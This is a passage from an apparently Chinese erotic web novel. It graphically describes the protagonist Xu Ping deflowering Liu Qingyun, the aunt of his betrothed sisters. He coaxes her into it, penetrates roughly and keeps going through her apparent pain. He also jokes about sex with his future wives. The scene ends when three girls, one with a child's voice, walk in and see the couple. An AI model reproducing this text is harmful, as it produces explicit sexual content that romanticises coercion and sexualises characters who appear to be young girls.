对美丽的乳房让许平爱不释手,当含住小乳头轻轻吸吮的时候,感觉它们已经开始发硬充血,而身下美人的喘息也变得乱了,脸上覆盖上一层情动的潮红,明显也开始懂得享受自己的爱抚带来的刺激。
“爷……”
柳清韵开始含糊不清的呻吟着:“轻、轻点……”
许平“嗯嗯”了两声后,开始脱她的裙子,柳清韵脸色一红,眼里尽是不安的看着许平的动作,尽管努力的不去抗拒,但修长的美腿却本能的并在一块,毕竟第一次面对异性的亲密,僵硬得似乎不受控制。
许平深吸了一口气,一边和她说着情话,一边亲吻着她的小腹让她放松,许久后才有一点机会,手一拉,裙子和亵裤全脱了下来,一下就镶这娇羞的美人变成一丝不挂的羔羊。
柳清韵红着脸,赶紧伸手挡着两腿间的羞处,许平色色一笑,并不急于去占有她的处子身,而是往上一挪,和她躺在一起,伸手将她揽到怀里,温柔的吻着她,双手不停游走在她身上的敏感点,尽情把玩着一对饱满迷人的乳房。
温柔的爱抚,娴熟的挑逗,不久就让柳清韵娇喘吁吁,渐渐瘫软得没半点的力气,趁她意乱情迷的时候,许平悄悄朝下摸去,抓住她挡在羞处的小手,一边舔着她的小耳朵,一边诱惑说:“小宝贝,反正你迟早都是我的人,乖乖的别害羞!”
柳清韵这时候也不敢相信,自己竟然顺从的被扒个精光,把守了那么多年的冰清玉洁让眼前的小男人尽情欣赏,一时有些恍惚,到底是怎么回事?是他的话充满魔力吗?为什么自己竟然感觉很自然?还是因为自己对这个男人的各种传言曾经想像过,才没排斥他突如其来的侵犯?
“你真乖!”
许平试探性的将她的小手拉开,翻身到了她的腿边,伸手拉开她修长的美腿,目不转睛的盯着这不知道有多少男人遐想过的迷人地带,似乎有一股处子的幽香迎面而来。
柳清韵一看羞处彻底暴露,不知道为什么除了羞怯外竟然有种莫名的兴奋,不过许平火热的眼光让她有些受不了,本能的想要再次把双腿夹紧。
许平哪会让她得逞,赶紧蹲到她的腿间,瞪直了眼打量起她的三角地带,实在是太漂亮,或许是一直保持处子身的关系,她的阴毛并不多,短短小小的如绒毛一样可爱,阴唇微微闭合着,颜色粉嫩,而形状又像是含苞待放的花蕾一样,更让人兴奋的是这朵花蕾上已经有着些许的露水。
“真漂亮。”
许平一边赞叹着,一边和她吻了起来,这次柳清韵也不再排斥,但也不懂得迎合。趁这工夫许平三两下把自己脱了个精光,赤身裸体的和她相见。
柳清韵悄悄用眼角一瞄,一看到许平胯下硕大的龙根,全身微微颤了一下。
等等这大家伙真要侵占自己了吗?真的能进去吗?而男人的身体虽然不是很夸张的强壮,但身上的肌肉比例匀称,充满男性的阳刚美感更让她芳心大乱。
许平又一次的亲吻着她完美的身体,大手摸上她腿间时,柳清韵明显有点抗拒,但没多久就被许平的爱抚弄得全身无力,只能认命的闭上眼,娇喘吁吁的享受着这种没体验过的美妙滋味。
许平耐心的在她的阴唇上爱抚着,偶尔指甲刮一下都能感觉她身体的抖动,不久就分泌出更多的爱液,将整个小阴唇覆盖上一层漂亮的水光,藉着这个润滑,许平试探性的开始伸进一节手指,慢慢沿着她小小的洞口插了进去柳清韵眉头一皱,明显有些不适应。
许平又继续爱抚着,手指挖了几下,感觉她的小穴里又暖又湿的很舒服,过了一会儿看她适应后又加进另一根手指,在爱抚的同时,也撑开这未经人事的小地方。
“轻、轻点……”
柳清韵终于颤抖着说了一下自己的感受,但一说完又羞怯的闭上眼,不敢看自己的冰清玉洁是如何被眼前的男人所戏玩。
许平温柔的吻了吻她的小嘴,继绩爱抚她的小穴,挑逗得柳清韵下身爱液满满,胸脯随着快速的呼吸而起伏,一对饱满的美乳看起来更漂亮。
耐心的挑逗许久,柳清韵的乳房上已经布满许平的口水。原本白皙的身子也成白里透红的粉嫩,眼神无辜而又迷茫,张着小嘴一直低低的呻吟箸,看起来更是诱人。
看她已经差不多了,许平这才握着坚硬如铁,早就有些忍耐不了的命根,将龟头抵在她的肉缝上下磨蹭着,这异样的刺激更让柳清韵呻吟连连,露水再一次的分泌。
等她渐渐放松,许平突然拨开两片小阴唇,往前一挺,藉着爱液的润滑将命根子插进一半,有些粗鲁的进入甚至已经将薄薄的处女膜顶破。
“啊……”
柳清韵疼得直皱眉,因为这一下毫无预兆的顶破她的处女膜,这种挤压的不适混合着疼痛确实是有些难受,虽然有心理准备,但还是感觉很疼。
许平一边劝她放松,一边低头和她亲吻着,又拨弄着她的乳头让她缓解一下破瓜之疼,自己也享受着被她温热的处女穴紧紧夹住的快感,一阵一阵的蠕动舒服得销魂,可惜刚才太急色了,没好好体会顶住她完整的处女膜是什么滋味。
柳清韵咬着牙忍着破身之痛,疼得鼻子上布满了小小的汗珠,让人心疼,许平赶紧弯下腰来,亲吻着她的额头让她稍微放松。
两具一丝不挂的肉体随着许平的插入而紧紧结合在一起,丝丝处子血被挤得流淌出来,象征着这个身体的纯洁。
柳清韵的身体已经发育成熟,并不像娇嫩的少女那般没有忍耐力,她也没有哭哭啼啼的,只是跛着眉头,一边忍着疼痛,一边求许平先停一会,让她能稍微适应。
许平感受着她紧紧的处子穴温热潮湿的包围,舒服得直吸凉气,爱怜的停了下来,一边安抚着她破身的疼痛,一边手口并用的挑逗着她身上的敏感点,让她别那太紧张。停顿了好一会儿,许平感觉她已经适应,原本僵硬的身子渐渐放松,这才挺着腰开始试探性的抽出,又慢慢的插进去,关切的问:“怎么样?”
柳清韵涨红着脸,明显有些不适,但却摇了摇头,羞怯的说:“您别太用力就好。”
许平温柔的笑了笑,深情的凝视着她,说:“小宝贝,你都是我的人了,来,抱着我!”
柳清韵脸带羞红的犹豫了一下,但还是颤抖着伸出小手抱住许平的腰,而这时她的双腿也环在许平的腰上。这姿势虽然不算香艳,却可以看出她对男女之事的懵懂,不知道该怎么样才能让她自己舒服一点。
许平哈哈笑了几声,这可是她第一次主动,不过主动得有些奇怪而已,伸手把她的小手拉上来环住自己的脖子,开始挺着腰慢慢进出她娇嫩的身体。
肉壁的磨擦,一开始有些许的疼痛,但在许平温柔的疼爱下,柳清韵渐渐也感觉到性爱的快感,一开始屏住的呼吸也渐渐变成有节奏的喘息,闭着眼在疼痛和快感中挣扎。
许平渐渐加快抽插的速度,每一次深深的顶入都可以感觉插到了最深处,换来她一声声的呻吟,也让柳清韵的呼吸越来越热。
柳清韵咬着牙没有叫出声,只发出不知道是痛苦还是愉悦的“啊啊”声,娇嫩的身子随着许平的撞击而摆动着,一对美乳上下摇晃更充满了视觉上的冲击。
两人疯狂的蠕动,即使她不懂得迎合,但只要看着如此美丽的女人在身下呻吟着,看着她洁白的身体被自己挑逗得发热发烫,香汗满身的妩媚模样,许平就已经够兴奋了,动作也越来越大。
柳清韵毕竟是成熟的女人,并不比少女青涩娇嫩,破瓜之时虽不能忍受男人的粗硬和占有,这会儿也已经被许平带上了快感的颠峰,在一阵深进浅出的抽插中开始享受到那酥麻的愉悦,突然阴道内一阵剧烈收缩,伴随着她全身僵硬,一道滚烫的爱液立刻从身体深处涌出。
许平知道她的第一次高潮到了,这一夹舒服得让人无法用语言表达,龟头在她爱液的刺激下又涨大几分,尽管非常兴奋,但还是停下动作,一边爱抚着她,一边给她时间体会这世间最美妙的滋味,当然,看着一个尤物在胯下得到高潮时的无力模样,对于一个男人来说也是心理上的满足。
柳清韵这时候一头青丝早就乱了,随意披散在床上,闭着眼急促喘息着,嫣红的小嘴半张,嘴唇有一点点发乾,迷人的容颜上尽是满足的潮红,看起来性感至极!
休息了好一会儿,房间里还弥漫着激情的味道,等柳清韵的呼吸渐渐平稳,稍稍睁开了眼羞怯的看着许平时,许平马上凑上前去边抓着她的乳房揉弄,一边淫笑着问:“宝贝,滋味够美吧?”
“不、不知道!”
柳清韵娇羞的别过头去,不敢直视许平色色的目光,许平嘿嘿一笑,用力一顶,她立刻叫了一声。
柳清韵转过头来白了许平一眼,水汪汪的眼里思绪万千,除了破身后的惆怅外,又有着些许的担忧。许平一眼就看出了她的想法,马上安慰说:“好了,你别想那么多,以后的事有我安排,―文文她们也会为你找个好归宿而高兴的。”
“不要脸!”
简单的几句话让柳清韵放松下来,第一次觉得有个男人在身边是那么好,或许是体验到了许平的疼爱,立刻就有些调皮的说:“哪有人那么夸自己的!”
“这是事实嘛!”
许平抱着她的腰,深深感受着小穴带来的温热,蜻蜓点水的亲亲她的小脸,色眯眯的说:“宝贝,刚才的滋味不错吧!我和你说呀,生孩子只是副作用而已,主要还是要享受这个制作过程,知道吗?以后等你生孩子的时候,就知道我说的没错。”
“不知羞耻!”
柳清韵脸带羞红的啐了一口,突然沉吟了一会儿,抬起头来用无辜的眼光看着许平,有些迷茫的说:“太子爷,清韵以后真的能和文文她们一起住吗?”
“真的。”
许平信誓旦旦的保证,又露出了流氓的嘴脸:“不过嘛,只怕到时候她们满足不了我,就得请你这个外援来了,到时候你们三个一起上,我不就被你们搾乾了,你们这可是结党营私哦。”
“呸!”
柳清韵难为情的啐了一口,不知道为什么许平一说到这同床的荒唐事,她心里除了感觉羞耻外,竟然开始在脑里有一些幻想。
许平连哄带骗的逗了她好一会儿,才让柳清韵红着脸答应让许平后入,佳人娇羞的跪在床边,在许平兴奋的摆弄下翘起高挺的翘臀,将被露水滋润得荧荧动人的羞处展露出来。
用如此羞人的姿势将羞处呈现出来,柳清韵难为情得不敢睁开眼睛,红着脸闭着眼,身子一阵阵的发颤。“宝贝,你真漂亮!”
许平在她雪白的臀上亲了一下,才扶着龙根跪在她的身后,顶开她的腿开始慢慢插进去,再一次享受进入她^^的快感。
“啊…”
柳清韵满足的一声长叹过后,两人又紧紧结合在一起。
许平开始挺着腰,享受的看着这个风华绝代的女人在自己胯下承欢,伴随着自己每一次的撞搫,摆动她那迷人的娇躯,慢慢的浅插了一会儿,看她已经适应才双手向前握住她的美乳,用力的撞击。
老汉推车的姿势让柳清韵渐渐无法思考,每一次的插入伴随着喷喷的水声进入她的最深处,带来强烈的快感,又烫又大的龟头几乎每次都顶到她的子宫,又酥又麻的快感镶她开始无力的呻吟,渐渐的迷失在这美妙的韵事中。
“舒服吗?”
许平抽动着,兴奋的看着身下的美人香汗淋漓,披头散发的妩媚模样,听着她小声呻吟感觉更是满足。
“舒、舒服…”
柳清韵含糊不清的应了一声,闭着眼“嗯嗯”的呻吟着,看起来已经彻底体会到这让人无法忘却的快感。
许平一听立刻红了眼,动作也不像一开始那么温柔,用力的顶了进去,几乎将她的小阴唇也带进穴里,出来的时候又罾大量的爱液,打湿了两人的结合处。
柳清韵的呼吸越来越快,呻吟也越来越大,如果不是咬着枕头的话,恐怕这会儿抽离灵魂般的快感会让她无法自拔的叫出声来,宣泄这强得让人无法想像的快感。
小穴内一阵有力的紧缩,柳清韵再次体验到那无法自拔的美妙滋味,但这次许平可没那么容易就放过她,将她瘫软的身子推倒在床上,压着她继续狂风暴雨般的抽插着!
“啊!轻、轻点……”
高潮之后的身体极度敏感,柳清韵终于也忍不住叫出声,咬着牙嗯哼着,看起来似乎很痛苦。
两人全身布满大汗,尽情享受着这难以言喻的快感,许平感觉到空前的兴奋,在两个小美女的香床之上,把她们最敬爱的姨娘开了苞,如此娇艳动人的女子还是处子之身,这样的香艳让人怎能不快?
“主、主子……我又、要来了……”
持续纠缠了将近一个时辰,柳清韵全身再一次僵硬的抽搐着,咬着牙唤了几声,让许平更加兴奋,而她的小穴又开始剧烈收缩,感觉更是销魂。
两人正在床上干得如火如荼时,门外突然传来了一声清脆悦耳的童音,十分欢快的喊着,伴随着轻巧的脚步声越来越近:“姨娘,您来看我们啦!”
郭香儿的声音顿时把两人吓了一跳,还来不及惊慌时,门已经被一把推开,郭香儿活泼可爱的小脸上原本是欢喜的微笑,一看见屋里的情况立刻傻了。
除了她以外,后边原本有说有笑的郭文文和小雨辰也同时愣住了,三个如花似玉的美少女全瞪大眼睛,站在门口,呆呆看着屋里一丝不挂,纠缠在一起的两具肉体。
可以清楚看见许平的命根子还插在柳清韵的身体里,这种视觉上的冲击让未经人事的姐妹俩都傻了眼,大白天的,自己未来的丈夫竟然和自己的姨娘在自己房里行这苟且之事,这简直太荒唐了,无论如何她们都无法想像会有这样的事。